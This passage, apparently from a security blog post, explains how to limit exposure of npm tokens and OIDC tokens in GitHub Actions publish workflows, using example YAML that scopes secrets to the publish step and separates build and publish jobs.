&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;node-version&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;24.x&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;registry-url&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://registry.npmjs.org&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# pull &amp;amp; detonate malicious package&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm ci&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# push new package version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm publish&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While this example is contrived, it is also a pattern I&amp;rsquo;ve seen used in multiple environments. An Action defined this way exposes the NPM authentication token to every step of every job, despite it only being needed for the final &lt;code&gt;npm publish&lt;/code&gt; command. This fundamentally is a violation of the principle of least privilege, exposing an access token to things that do not need it. For this particular example, the fix is ostensibly straightforward: only map the &lt;code&gt;NPM_TOKEN&lt;/code&gt; secret to an env var when publishing.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Publish Package to npmjs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;release&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;types&lt;/span&gt;: [&lt;span style=&#34;color:#ae81ff&#34;&gt;published]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;build&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;runs-on&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;permissions&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;contents&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;read&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;id-token&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;write&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# checkout source code&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/checkout@v6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# install nodejs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/setup-node@v4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;node-version&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;20.x&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;registry-url&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://registry.npmjs.org&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# no NPM token available for theft during execution&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm ci&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# NPM token only exposed during the publish step&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm publish --provenance&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;env&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;NODE_AUTH_TOKEN&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;${{ secrets.NPM_TOKEN }}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While an improvement, there are still issues with this. The first problem is due to NPM&amp;rsquo;s lifecycle scripts. While many malicious packages embed their execution within the &lt;code&gt;postinstall&lt;/code&gt; or similar hooks that trigger on installation, NPM also exposes hooks that trigger on publish, such as &lt;code&gt;postpublish&lt;/code&gt;. Putting the NPM-specific problem aside, there is a second issue: an OIDC token is issued to all job steps. Whether or not this is an issue depends on if there are any third-party resources configured to allow authentication via this pipeline&amp;rsquo;s identity.&lt;/p&gt;
&lt;h1 id=&#34;oidc&#34;&gt;OIDC&lt;/h1&gt;
&lt;p&gt;Historically, these campaigns have largely targeted and leveraged long lived access tokens. Leveraging OIDC instead does provide a slight mitigation, at least so far. Attackers cannot simply exfiltrate tokens and immediately begin using them. Instead, they must first exchange the OIDC token for a short-lived access token against the given service. Discussing the details of OIDC is far outside the scope of this post, but you can refer to &lt;a href=&#34;https://curity.io/resources/learn/openid-connect-overview/&#34; target=&#34;_blank&#34;&gt;this post&lt;/a&gt; from Curity.io for details. GitHub also has some &lt;a href=&#34;https://curity.io/resources/learn/openid-connect-overview/&#34; target=&#34;_blank&#34;&gt;documentation&lt;/a&gt; on using OIDC within a CI/CD context.&lt;/p&gt;
&lt;p&gt;Technically speaking, there is nothing stopping a supply chain attack from leveraging stolen OIDC tokens. And in fact, the recent &lt;a href=&#34;https://www.akamai.com/blog/security-research/mini-shai-hulud-worm-returns-goes-public&#34; target=&#34;_blank&#34;&gt;Mini Shai-Hulud variant&lt;/a&gt; did exactly this. However, this specific attack was limited to targeting NPM. From what I&amp;rsquo;ve seen publicly discussed, other services where not targeted. To see how this works with OIDC, lets take a look at the Action from NPM&amp;rsquo;s own &lt;a href=&#34;https://docs.npmjs.com/trusted-publishers&#34; target=&#34;_blank&#34;&gt;documentation&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Publish Package&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;permissions&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Issue an OIDC token&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;id-token&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;write&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;contents&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;read&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;publish&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;runs-on&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/checkout@v6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/setup-node@v6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;node-version&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;registry-url&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://registry.npmjs.org&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;package-manager-cache&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm ci&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm run build --if-present&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm publish&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As in the example above, an OIDC token is exposed to all jobs. Fixing this is conceptually identical to isolating secrets. However, due to how GitHub Actions work, the tokens cannot be controlled at the step level which means we now need two jobs. Fixing the example above:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;Publish Package to npmjs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;release&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;types&lt;/span&gt;: [&lt;span style=&#34;color:#ae81ff&#34;&gt;published]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;build&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;runs-on&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# No OIDC token is available during this job&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;permissions&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;contents&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;read&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/checkout@v6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/setup-node@v6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;node-version&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;registry-url&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://registry.npmjs.org&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;package-manager-cache&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm ci&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm run build --if-present&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# Upload the package as an artifact, allowing it to be&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# referenced in the publish job&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/upload-artifact@v4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm-package&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;path&lt;/span&gt;: |&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            .
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            !node_modules
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;            !.git&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;retention-days&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;publish&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;needs&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;build&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;runs-on&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Expose an OIDC token&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;permissions&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;contents&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;read&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;id-token&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;write&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/setup-node@v4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;node-version&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;24.x&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;registry-url&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://registry.npmjs.org&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# Download the artifact&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;uses&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;actions/download-artifact@v4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm-package&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# Publish using the OIDC token&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#f92672&#34;&gt;run&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;npm publish&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id=&#34;oidc-quirks&#34;&gt;OIDC Quirks&lt;/h1&gt;
&lt;p&gt;There is a practical limitation to exploiting OIDC configurations en-masse, namely that environment-specific information must be included when exchanging an OIDC token for credentials. The amount of information required varies depending on the service you are authenticating against. For example, NPM only requires you to provide an audience, which is static across all environments using this configuration. In other words, an attacker doesn&amp;rsquo;t need to understand anything about the environment they&amp;rsquo;re targetting. More specifically: all the environment specific information an attacker needs is embedded directly within the OIDC token itself.&lt;/p&gt;
&lt;p&gt;In contrast, authenticating against AWS requires more information. Specifically, you must provide an IAM role ARN to assume. Here is a (slightly modified) example from GitHub&amp;rsquo;s &lt;a href=&#34;https://docs.github.com/en/actions/how-tos/secure-your-work/security-harden-deployments/oidc-in-aws&#34; target=&#34;_blank&#34;&gt;documentation&lt;/a&gt;:&lt;/p&gt;
